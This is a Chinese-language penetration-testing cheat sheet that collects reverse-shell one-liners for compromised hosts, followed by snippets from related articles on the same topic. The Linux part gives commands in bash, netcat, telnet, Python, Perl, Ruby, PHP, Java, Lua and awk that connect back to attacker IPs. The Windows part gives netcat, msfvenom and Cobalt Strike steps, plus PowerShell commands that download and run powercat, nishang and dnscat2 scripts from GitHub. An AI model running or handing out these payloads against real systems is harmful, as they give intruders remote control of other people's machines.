内网渗透 | 全网最实用的反弹shell总结

VSole2022-10-26 09:23:58

Linux反弹shell总结

(1)Bash反弹

nc -lvvp 9999   #攻击者主机上执行监听bash -i >& /dev/tcp/39.96.9.238/9999 0>&1  #目标主机上执行

注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

  • 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
  • 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
  • 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>;
exec 5<>/dev/tcp/39.96.9.238/9999;cat <&5 | while read line; do $line 2>&5 >&5; done

(2)telnet反弹

nc -lvvp 444 #攻击者主机上执行监听rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p  #目标主机上执行

攻击者主机上打开两个终端分别执行监听:

nc -lvvp 4444nc -lvvp 5555telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555  #目标主机中执行

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。

(3) nc(netcat)反弹

nc -lvvp portnc -e /bin/bash x.x.x.x port
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f

(4)python 反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

(5)perl 反弹

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

(6)Ruby 反弹

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

(7) php 反弹

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

(8) Java 反弹

public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime();    String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor();}}

(9) Lua 反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

(10) awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

windows反弹shell总结

(1) nc(netcat)反弹

(netcat 下载:https://eternallybored.org/misc/netcat/)

nc -lvvp 9999    #攻击者主机上执行监听nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe   #目标主机上执行

(2) powershell反弹

PS C:\WWW> powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

(3) msf反弹shell

msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

(4) Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。3、目标机执行powershell payload

(5) nishang反弹shell

Reverse TCP shell:powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
Reverse UDP shell:powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

(6) Dnscat反弹shell (https://github.com/iagox86/dnscat2)

服务端:ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open  
目标主机:powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
shellsocket
本作品采用《CC 协议》,转载必须注明作者和本文链接
安全研究人员观察到名为 TellYouThePass 的勒索软件家族尝试利用最近发现的 Log4j 高危漏洞。TellYouThePass 勒索软件家族被认为年代比较悠久且基本不活跃,在广泛使用的 Log4j 日志框架发现漏洞之后,该勒索软件家族再次活跃。研究人员表示,继 Khonsari 勒索软件之后,TellYouThePass 成为第二个被观察到利用 Log4j 漏洞(被称为Log4Shel
反弹shell的N种姿势
2021-09-26 09:00:48
在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。
反弹Shell大全与原理
2023-04-25 10:15:00
reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。对方主机在局域网内,从外网无法直接访问。对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。在渗透测试过程中,得到webshell后一般我们会反弹shell。反弹shell原理A主机开启9090端口的tcp服务
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是正向连接和反向连接。centos执行python -c 'import socket,subprocess,os;s=socket.socket;s.connect;os.dup2; os.dup2; os.dup2;p=subprocess.call;'. 这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的python windows正向连接后门。这样会把目标机的/bin/bash反弹给攻击机但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式.PHP攻击机监听nc -lvvp 4444. 要求目标机器有php然后执行php -r '$sock=fsockopen;exec;'. 加载64位的shellcode需要用64位的msbuildC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。telnet反弹nc -lvvp 444 #攻击者主机上执行监听rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目标主机上执行。监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。 nc反弹nc -lvvp portnc -e /bin/bash x.x.x.x port
反弹shell命令速查
2022-07-28 06:13:42
反弹shell命令速查
常用反弹shell方法总结
反弹shell汇总
2021-07-28 10:01:11
反弹shell汇总
反弹shell是获取Linux交互shell的一种方法,其方法背后的原理是什么呢
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,下面来介绍分析几种常用的方法。
VSole
网络安全专家